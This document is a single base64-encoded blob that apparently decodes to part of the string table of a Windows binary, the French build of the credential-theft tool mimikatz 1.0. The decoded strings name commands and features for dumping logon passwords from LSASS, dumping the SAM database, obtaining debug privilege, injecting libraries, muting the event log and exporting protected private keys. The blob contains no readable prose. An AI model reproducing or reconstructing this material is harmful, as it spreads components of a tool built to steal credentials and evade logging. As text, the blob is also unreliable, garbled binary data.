TAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAAoAFAAcgBvAHQAbwB0AHkAcABlACkAAABNAFMAXwBFAE4ASABfAFIAUwBBAF8AQQBFAFMAXwBQAFIATwBWAF8AWABQAAAAAABQAFIATwBWAF8AUgBTAEEAXwBGAFUATABMAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBJAEcAAAAAAFAAUgBPAFYAXwBEAFMAUwAAAAAAUABSAE8AVgBfAEYATwBSAFQARQBaAFoAQQAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAFAAUgBPAFYAXwBTAFMATAAAAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAAAAUABSAE8AVgBfAEQAUwBTAF8ARABIAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMATgBSAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAAAAAABQAFIATwBWAF8AUwBQAFkAUgBVAFMAXwBMAFkATgBLAFMAAABQAFIATwBWAF8AUgBOAEcAAAAAAFAAUgBPAFYAXwBJAE4AVABFAEwAXwBTAEUAQwAAAAAAUABSAE8AVgBfAFIARQBQAEwAQQBDAEUAXwBPAFcARgAAAAAAUABSAE8AVgBfAFIAUwBBAF8AQQBFAFMAAAAAAAAAAAAQAAAAlLQEEBFdABAotAQQ71wAEAAAAABgAAAAbgBjAHIAeQBwAHQAAAAAAE5DcnlwdE9wZW5TdG9yYWdlUHJvdmlkZXIAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAE5DcnlwdEZyZWVCdWZmZXIAAAAATkNyeXB0RnJlZU9iamVjdAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAATABlAG4AZwB0AGgAAAAAAEUAeABwAG8AcgB0ACAAUABvAGwAaQBjAHkAAABTeXN0ZW1GdW5jdGlvbjAwNgAAAGEAZAB2AGEAcABpADMAMgAAAAAAU3lzdGVtRnVuY3Rpb24wMDcAAABSdGxVcGNhc2VVbmljb2RlU3RyaW5nVG9PZW1TdHJpbmcAAABuAHQAZABsAGwAAABSdGxJbml0VW5pY29kZVN0cmluZwAAAABSdGxGcmVlT2VtU3RyaW5nAAAAACFAIyQlXiYqKClxd2VydHlVSU9QQXp4Y3Zibm1RUVFRUVFRUVFRUVEpKCpAJiUAADAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkAAAAATlRQQVNTV09SRAAATE1QQVNTV09SRAAAAAAAAHIAYgAAAAAAXAAAAExvYWRMaWJyYXJ5VwAAAABrAGUAcgBuAGUAbAAzADIAAAAAAFJ0bENyZWF0ZVVzZXJUaHJlYWQAVABvAGsAZQBuAFMAdAByAGUAYQBtAAAASABhAG4AZABsAGUATwBwAGUAcgBhAHQAaQBvAG4ATABpAHMAdABTAHQAcgBlAGEAbQAAAFQAaAByAGUAYQBkAEkAbgBmAG8ATABpAHMAdABTAHQAcgBlAGEAbQAAAAAATQBlAG0AbwByAHkASQBuAGYAbwBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABNAGkAcwBjAEkAbgBmAG8AUwB0AHIAZQBhAG0AAAAAAFUAbgBsAG8AYQBkAGUAZABNAG8AZAB1AGwAZQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABGAHUAbgBjAHQAaQBvAG4AVABhAGIAbABlAFMAdAByAGUAYQBtAAAASABhAG4AZABsAGUARABhAHQAYQBTAHQAcgBlAGEAbQAAAAAAQwBvAG0AbQBlAG4AdABTAHQAcgBlAGEAbQBXAAAAAABDAG8AbQBtAGUAbgB0AFMAdAByAGUAYQBtAEEAAAAAAE0AZQBtAG8AcgB5ADYANABMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABUAGgAcgBlAGEAZABFAHgATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAUwB5AHMAdABlAG0ASQBuAGYAbwBTAHQAcgBlAGEAbQAAAAAARQB4AGMAZQBwAHQAaQBvAG4AUwB0AHIAZQBhAG0AAABNAGUAbQBvAHIAeQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABNAG8AZAB1AGwAZQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABUAGgAcgBlAGEAZABMAGkAcwB0AFMAdAByAGUAYQBtAAAAAABSAGUAcwBlAHIAdgBlAGQAUwB0AHIAZQBhAG0AMQAAAFIAZQBzAGUAcgB2AGUAZABTAHQAcgBlAGEAbQAwAAAAVQBuAHUAcwBlAGQAUwB0AHIAZQBhAG0AAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAASQBnAG4AbwByAGUASQBuAGEAYwBjAGUAcwBzAGkAYgBsAGUATQBlAG0AbwByAHkAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABQAHIAaQB2AGEAdABlAFcAcgBpAHQAZQBDAG8AcAB5AE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAEEAdQB4AGkAbABpAGEAcgB5AFMAdABhAHQAZQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAbwB1AHQAQQB1AHgAaQBsAGkAYQByAHkAUwB0AGEAdABlAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAQwBvAGQAZQBTAGUAZwBzAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABUAGgAcgBlAGEAZABJAG4AZgBvAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AEkAbgBmAG8AAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAG8AdQB0AE8AcAB0AGkAbwBuAGEAbABEAGEAdABhAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAGkAdgBhAHQAZQBSAGUAYQBkAFcAcgBpAHQAZQBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAG8AYwBlAHMAcwBUAGgAcgBlAGEAZABEAGEAdABhAAAATQBpAG4AaQBEAHUAbQBwAEYAaQBsAHQAZQByAE0AbwBkAHUAbABlAFAAYQB0AGgAcwAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAEkAbgBkAGkAcgBlAGMAdABsAHkAUgBlAGYAZQByAGUAbgBjAGUAZABNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAVQBuAGwAbwBhAGQAZQBkAE0AbwBkAHUAbABlAHMAAABNAGkAbgBpAEQAdQBtAHAAUwBjAGEAbgBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAEYAaQBsAHQAZQByAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABIAGEAbgBkAGwAZQBEAGEAdABhAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABEAGEAdABhAFMAZQBnAHMAAAAAAE0AaQBuAGkARAB1AG0AcABOAG8AcgBtAGEAbAAAAAAAUwBlAHIAdgBpAGMAZQAgADoAIAAAAAAAKQAgADsAIABuACcAYQAgAHAAYQBzACAAbAAnAGEAaQByACAAdAByAOgAcwAgAGEAYwB0AGkAZgAAAAAAIAAoAAAAAABMAGUAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAIAA7ACAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAdAByAG8AdQB2AGUAcgAgAGwAZQAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAABAAHAAaQBkACgAAABSAGUAYwBoAGUAcgBjAGgAZQAgAGQAZQBzACAAcABhAHQAdABlAHIAbgBzACAAZABhAG4AcwAgADoAIAAAAAAATwBLAAAAAABLAE8AAAAAACkAIAA6ACAAAAAAAFAAYQB0AGMAaAAgAAAAAABtAG8AZABfAG0AZQBtAG8AcgB5ADoAOgBzAGUAYQByAGMAaABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAOgAgAAAAAAAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBNAG8AZAB1AGwAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAABtAG8AZABfAHAAYQB0AGMAaAA6ADoAZwBlAHQARgB1AGwAbABWAGUAcgBzAGkAbwBuACAAOgAgAAAAAAAAAAAATABhACAAdgBlAHIAcwBpAG8AbgAgAGQAdQAgAHMAeQBzAHQA6ABtAGUAIABkACcAZQB4AHAAbABvAGkAdABhAHQAaQBvAG4AIABhAGMAdAB1AGUAbABsAGUAIABuACcAZQBzAHQAIABwAGEAcwAgAHMAdQBwAHAAbwByAHQA6QBlACAAcABhAHIAIABjAGUAdAB0AGUAIABmAG8AbgBjAHQAaQBvAG4ALgAAAFwAXAAAAAAAXABwAGkAcABlAFwAAAAAAGy1BBBVigAQbQBpAG0AaQBrAGEAdAB6AFAAAABtAGkAbQBpAGsAYQB0AHoARAAAAG0AaQBtAGkAawBhAHQAegBVAAAATnRTdXNwZW5kUHJvY2VzcwAAAABOdFJlc3VtZVByb2Nlc3MATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAKAAwAHgAAAAgACoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAG8AYgB0AGUAbgBpAHIAIAB1AG4AIABtAGUAcwBzAGEAZwBlACAAKgAAAAAATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAAAE50UXVlcnlPYmplY3QAAABSdGxJbml0U3RyaW5nAAAACgAAADwATgBVAEwATAA+AAAAAAAwMTIzNDU2Nzg5YWJjZGVmQUJDREVGAAAwMTIzNDU2Nzg5YWJjZGVmAAAAALS1BBAcwgEQsskAEOvIABAkyAAQXccAEJPGABDJxQAQCMUAEEfEABBpwwAQiMIAEP/AABBlAHIAcgBlAHUAcgAgAFMASQBEACAAOwAgAAAAbgAuAGEALgAAAAAAcAByAGkAdgBpAGwAZQBnAGUAOgA6AGQAZQBiAHUAZwAAAAAAcwBlAGsAdQByAGwAcwBhADoAOgBsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAGUAeABpAHQAAAAAAFMAdABhAG4AZABhAHIAZAAAAAAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAZQAgAGUAdAAgAGMAZQByAHQAaQBmAGkAYwBhAHQAcwAAAAAAYwByAHkAcAB0AG8AAAAAAEgAYQBzAGgAAAAAAGgAYQBzAGgAAAAAAEcAZQBzAHQAaQBvAG4AIABzAHkAcwB0AOgAbQBlAAAAcwB5AHMAdABlAG0AAAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZABlAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAAAAAAcAByAG8AYwBlAHMAcwAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZABlAHMAIAB0AGgAcgBlAGEAZABzAAAAAAB0AGgAcgBlAGEAZAAAAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAAAHMAZQByAHYAaQBjAGUAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAHAAcgBpAHYAaQBsAGUAZwBlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAGUAcwAgAGgAYQBuAGQAbABlAHMAAAAAAGgAYQBuAGQAbABlAAAAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAHQAbwBrAGUAbgBzACAAZAAnAGEAYwBjAOgAcwAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZAB1ACAAZADpAG0AaQBuAGUAdQByAAAAAAB3AGkAbgBtAGkAbgBlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAIAA3AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABBAG4AdABpAC0AZwBwAG8AIABlAHQAIABwAGEAdABjAGgAcwAgAGQAaQB2AGUAcgBzAAAAbgBvAGcAcABvAAAARAB1AG0AcAAgAGQAZQAgAFMAQQBNAAAAcwBhAG0AZAB1AG0AcAAAAEkAbgBqAGUAYwB0AGUAdQByACAAZABlACAAbABpAGIAcgBhAGkAcgBpAGUAcwAAAGkAbgBqAGUAYwB0AAAAAABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAAAHQAcwAAAAAAAAAAAEYAbwBuAGMAdABpAG8AbgBzACAAZABpAHYAZQByAHMAZQBzACAAbgAnAGEAeQBhAG4AdAAgAHAAYQBzACAAZQBuAGMAbwByAGUAIABhAHMAcwBlAHoAIABkAGUAIABjAG8AcgBwAHMAIABwAG8AdQByACAAYQB2AG8AaQByACAAbABlAHUAcgBzACAAcAByAG8AcAByAGUAcwAgAG0AbwBkAHUAbABlAAAAAABkAGkAdgBlAHIAcwAAAAAAAAAAAEQAdQBtAHAAIABkAGUAcwAgAHMAZQBzAHMAaQBvAG4AcwAgAGMAbwB1AHIAYQBuAHQAZQBzACAAcABhAHIAIABwAHIAbwB2AGkAZABlAHIAcwAgAEwAUwBBAFMAUwAAAHMAZQBrAHUAcgBsAHMAYQAAAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AcwAgAEUARgBTAAAAZQBmAHMAAABtAGkAbQBpAGsAYQB0AHoAIAAxAC4AMAAgAHgAOAA2ACAAKABSAEMAKQAAAAAAAAAvAC8AIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAAAAAACkAIAAqAC8AAAAAADA4OjUyOjEyAAAAAFNlcCAzMCAyMDEzAAkALwAqACAAVAByAGEAaQB0AGUAbQBlAG4AdAAgAGQAdQAgAEsAaQB3AGkAIAAoAAAAAAAoAGMAbwBtAG0AYQBuAGQAbABpAG4AZQApACAAIwAgAAAAAABtAGkAbQBpAGsAYQB0AHoAAAAAACAAIwAgAAAAOgA6AAAAAAAnACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlAAAAQwBvAG0AbQBhAG4AZABlACAAbABvAGMAYQBsAGUAIAAnAAAAJwAgAGkAZABlAG4AdABpAGYAaQDpACwAIABtAGEAaQBzACAAYwBvAG0AbQBhAG4AZABlACAAJwAAAAAATQBvAGQAdQBsAGUAIAA6ACAAJwAAAAAARABlAHMAYwByAGkAcAB0AGkAbwBuACAAZAB1ACAAbQBvAGQAdQBsAGUAIAA6ACAAAAAAAE0AbwBkAHUAbABlAHMAIABkAGkAcwBwAG8AbgBpAGIAbABlAHMAIAA6ACAAAAAAAE8AdQB2AGUAcgB0AHUAcgBlACAAZAB1ACAAcABpAGwAbwB0AGUAIABtAGkAbQBpAGsAYQB0AHoAIAA6ACAAAABcAFwALgBcAG0AaQBtAGkAawBhAHQAegAAAAAAQwByAGUAYQB0AGUARgBpAGwAZQAgADsAIAAAAFIAZQBhAGQARgBpAGwAZQAgADoAIAAAAFcAcgBpAHQAZQBGAGkAbABlACAAOgAgAAAAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAcQB1AGUAcgAgAGEAdgBlAGMAIABsAGUAIABwAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAAAAAAAABDAG8AbQBtAGEAbgBkAGUAIAB2AGkAZABlACAAKABmAGUAcgBtAGUAdAB1AHIAZQAgAGYAbwByAGMA6QBlACkAIAByAGUA5wB1AGUAAAAAAEUAcgByAGUAdQByACAAOgAgAHAAYQBzACAAZABlACAAcgDpAHAAbwBuAHMAZQAgAHAAbwBzAHMAaQBiAGwAZQAgADsAIAAAAEUAcgByAGUAdQByACAAOgAgAHAAYQBzACAAZAAnAOkAYwByAGkAdAB1AHIAZQAgAHAAbwBzAHMAaQBiAGwAZQAgADsAIAAAAEMAbwBtAG0AYQBuAGQAZQAgAHYAaQBkAGUAIAAoAGQA6QBjAG8AbgBuAGUAeABpAG8AbgAgAGYAbwByAGMA6QBlACkAIAByAGUA5wB1AGUAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABwAGEAcwAgAG8AdQAgAHAAbAB1AHMAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuACAA6QB0AGEAYgBsAGkAZQAAAAkALQAgAAAAALYEEE73ABBtAG8AZABfAG0AZQBtAG8AcgB5ADoAOgBzAGUAYQByAGMAaABNAGUAbQBvAHIAeQAgAE4AVAA1ACAAAABiAGMAcgB5AHAAdAAAAAAATABzAGEASQBuAGkAdABpAGEAbABpAHoAZQBQAHIAbwB0AGUAYwB0AGUAZABNAGUAbQBvAHIAeQAgAE4AVAA2ACAASwBPAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcwBlAGEAcgBjAGgATQBlAG0AbwByAHkAIABOAFQANgAgAAAAQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyAEJDcnlwdFNldFByb3BlcnR5AAAAQkNyeXB0R2V0UHJvcGVydHkAAABCQ3J5cHRHZW5lcmF0ZVN5bW1ldHJpY0tleQAAMwBEAEUAUwAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEIAQwAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAAAAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAE8AYgBqAGUAYwB0AEwAZQBuAGcAdABoAAAAAABCQ3J5cHREZXN0cm95S2V5AAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwB2AGkAZABlAHIAcwAgAGkAbgBzAHQAYQBsAGwA6QBzACkAAAAAAGwAaQBzAHQAUAByAG8AdgBpAGQAZQByAHMAAABMAGkAcwB0AGUAIABsAGUAcwAgAG0AYQBnAGEAcwBpAG4AcwAgAHMAeQBzAHQA6ABtAGUAAAAAAGwAaQBzAHQAUwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAZQAgAGwAZQBzACAAYwBlAHIAdABpAGYAaQBjAGEAdABzAAAAbABpAHMAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAATABpAHMAdABlACAAbABlAHMAIABjAG8AbgB0AGUAbgBlAHUAcgBzACAAZABlACAAYwBsAOkAcwAAAAAAbABpAHMAdABLAGUAeQBzAAAAAABFAHgAcABvAHIAdABlACAAbABlAHMAIABjAGUAcgB0AGkAZgBpAGMAYQB0AHMAAABlAHgAcABvAHIAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAARQB4AHAAbwByAHQAZQAgAGwAZQBzACAAYwBsAOkAcwAAAAAAZQB4AHAAbwByAHQASwBlAHkAcwAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAYwBsAOkAcwAgAHAAbwB1AHIAIABsACcAZQB4AHAAbwByAHQAIABkAGUAIABjAGwA6QBzACAAbgBvAG4AIABlAHgAcABvAHIAdABhAGIAbABlAAAAcABhAHQAYwBoAGMAbgBnAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsAGEAIABDAHIAeQBwAHQAbwBBAFAASQAgAGMAbwB1AHIAYQBuAHQAZQAgAHAAbwB1AHIAIABsACcAZQB4AHAAbwByAHQAIABkAGUAIABjAGwA6QBzACAAbgBvAG4AIABlAHgAcABvAHIAdABhAGIAbABlAAAAcABhAHQAYwBoAGMAYQBwAGkAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMAcgB5AHAAdABvAEEAUABJACAAOgAAAG0AbwBkAF8AYwByAHkAcAB0AG8AYQBwAGkAOgA6AGcAZQB0AFYAZQBjAHQAbwByAFAAcgBvAHYAaQBkAGUAcgBzACAAOgAgAAAAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMATgBHACAAOgAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvAG4AZwA6ADoAZwBlAHQAVgBlAGMAdABvAHIAUAByAG8AdgBpAGQAZQByAHMAIAA6ACAAAABFAG0AcABsAGEAYwBlAG0AZQBuAHQAIAA6ACAAJwAAAG0AbwBkAF8AYwByAHkAcAB0AG8AOgA6AGcAZQB0AEwAaQBzAHQAUwB5AHMAdABlAG0AUwB0AG8AcgBlAHMAIAA6ACAAAAAAACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlACAAIQAAAAAARQByAHIAZQB1AHIAIABkACcAYQByAGcAdQBtAGUAbgB0AHMALAAgAGEAdAB0AGUAbgBkAHUAIAA6ACAAWwBtAGEAYwBoAGkAbgBlAF0AIABbAHAAcgBvAHYAaQBkAGUAcgAgAHAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAF0AAABtAGEAYwBoAGkAbgBlAAAAdQBzAGUAcgAAAAAAXQAgAEMAbADpAHMAIABDAHIAeQBwAHQAbwBBAFAASQAgADoAAAAAAFsAAAAJACAALQAgAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAATwBVAEkAAABOAE8ATgAAAAkACQBFAHgAcABvAHIAdABhAGIAaQBsAGkAdADpACAAOgAgAAAAAAAJAAkAVABhAGkAbABsAGUAIABjAGwA6QAgACAAIAAgADoAIAAAAAAALgBwAHYAawAAAAAAYwBhAHAAaQBfAAAAJwAgADoAIAAAAAAACQAJAEUAeABwAG8AcgB0ACAAcAByAGkAdgDpACAAZABhAG4AcwAgACAAJwAAAAAACQAJAAkAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAUAByAGkAdgBhAHQAZQBLAGUAeQAvAFAAcgBpAHYAYQB0AGUASwBlAHkAQgBsAG8AYgBUAG8AUABWAEsAIAA6ACAAAAAAAAkACQAqACAARQByAHIAZQB1AHIAIABkAGUAIABjAGwA6QAgADsAIAAAAAAAAAAAAAkACQAqACAARQByAHIAZQB1AHIAIABkACcAYQBjAHEAdQBpAHMAaQB0AGkAbwBuACAAZABlACAAbABhACAAYwBsAOkAIAA7ACAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAVgBlAGMAdABvAHIAQwBvAG4AdABhAGkAbgBlAHIAcwAgADoAIAAAAF0AIABDAGwA6QBzACAAQwBOAEcAIAA6AAAAAABjAG4AZwBfAAAAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAAAAAJAAkACQBtAG8AZABfAGMAcgB5AHAAdABvAG4AZwA6ADoAZwBlAHQAUAByAGkAdgBhAHQAZQBLAGUAeQAvAFAAcgBpAHYAYQB0AGUASwBlAHkAQgBsAG8AYgBUAG8AUABWAEsAIAA6ACAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBuAGcAOgA6AGcAZQB0AFYAZQBjAHQAbwByAEMAbwBuAHQAYQBpAG4AZQByAHMAIAA6ACAAAAAAAE0AeQAAAAAAXAAAAFsAZQBtAHAAdAB5AF0AAAAJAAkAQwBvAG4AdABhAGkAbgBlAHIAIABDAGwA6QAgADoAIAAAAAAACQAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAA6ACAAAAAAAAkACQAJAEUAcgByAGUAdQByACAAOgAgAEMAbADpACAAZABlACAAdAB5AHAAZQAgAG4AQwByAHkAcAB0ACwAIABzAGEAbgBzACAAbgBDAHIAeQBwAHQAIAA/AAAAcABmAHgAAAAJAAkACQAAAAAAAABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgADoAIAAAAAAAZABlAHIAAAAJAAkARQB4AHAAbwByAHQAIABwAHUAYgBsAGkAYwAgAGQAYQBuAHMAIAAnAAAAAABDAGUAcgB0AE8AcABlAG4AUwB0AG8AcgBlACAAOgAgAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABDUEV4cG9ydEtleQAAAAAAUABhAHQAYwBoACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUABhAHQAYwBoACAAQwBSAFkAUABUAF8ARQBYAFAATwBSAFQAQQBCAEwARQAgAHwAIABDAFIAWQBQAFQAXwBBAFIAQwBIAEkAVgBBAEIATABFACAAOgAgAAAAAAAAAAAAUABhAHQAdABlAHIAbgBzACAAQwBSAFkAUABUAF8ARQBYAFAATwBSAFQAQQBCAEwARQAgAHwAIABDAFIAWQBQAFQAXwBBAFIAQwBIAEkAVgBBAEIATABFACAAZQB0ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgAHQAcgBvAHUAdgDpAHMAIAAhAAAAAABuAGMAcgB5AHAAdAAuAGQAbABsAAAAAABuAGMAcgB5AHAAdABwAHIAbwB2AC4AZABsAGwAAAAAAEsAZQB5AEkAcwBvAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAGkAbgBpAHQAaQBhAGwAaQBzAGUAcgAgAGwAYQAgAEMATgBHACAAOgAgAAAAAABQAGEAcwAgAGQAZQAgAEMATgBHACAAPwAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgAHAAbwB1AHIAIABuAGUAIABwAGwAdQBzACAAcwB1AHAAZQByAHYAaQBzAGUAcgAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAZQAgAHIAbwB1AHQAYQBnAGUAAAAAAG4AbwByAG8AdQB0AGUAbQBvAG4AAAAAAAAAAABbAHMAdQBwAGUAcgAgAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsACcAbwBiAHMAZQByAHYAYQB0AGUAdQByACAAZAAnAOkAdgDpAG4AZQBtAGUAbgB0AHMAIABwAG8AdQByACAAbgBlACAAcABsAHUAcwAgAHIAaQBlAG4AIABlAG4AcgBlAGcAaQBzAHQAcgBlAHIAAABlAHYAZQBuAHQAZAByAG8AcAAAAAAAAABQAGEAdABjAGgAIABsAGUAIABiAG8AdQB0AG8AbgAgAGEAbgBuAHUAbABlAHIAIABkAGUAIABXAGkAbgBkAG8AdwBzACAAWABQACAAZQB0ACAAMgAwADAAMwAgAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABwAG8AdQByACAAZADpAHYAZQByAHIAbwB1AGkAbABsAGUAcgAgAHUAbgBlACAAcwBlAHMAcwBpAG8AbgAAAGMAYQBuAGMAZQBsAGEAdABvAHIAAAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAHMAZQBjAHIAZQB0AHMAIAB1AHQAaQBsAGkAcwBhAHQAZQB1AHIAAABzAGUAYwByAGUAdABzAAAAQQBuAHQAaQAtAGQA6QB0AG8AdQByAHMAIABTAFIAAAA6AG4AbwBkAGUAdABvAHUAcgAAAAAAAABEAOkAYwBoAGkAZgBmAHIAZQAgAGwAZQBzACAAZgBpAGMAaABpAGUAcgBzACAAUABJAFQAIAAoAFEAdQBlAHMAdAAgAHYAVwBvAHIAawBzAHAAYQBjAGUAIABDAGwAaQBlAG4AdAApAAAAAAA6AHAAaQB0AG0AZQAAAAAATnRPcGVuUHJvY2VzcwAAAEQA6QB0AG8AdQByACAAdAByAG8AdQB2AOkAIABlAHQAIAAAAHAAYQB0AGMAaADpACAAOgApAAAATgBPAE4AIABwAGEAdABjAGgA6QAgADoAKAAAAEQA6QB0AG8AdQByACAAbgBvAG4AIAB0AHIAbwB1AHYA6QAAAHcAaQBuAGwAbwBnAG8AbgAuAGUAeABlAAAAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAABOAG8AbQBiAHIAZQAg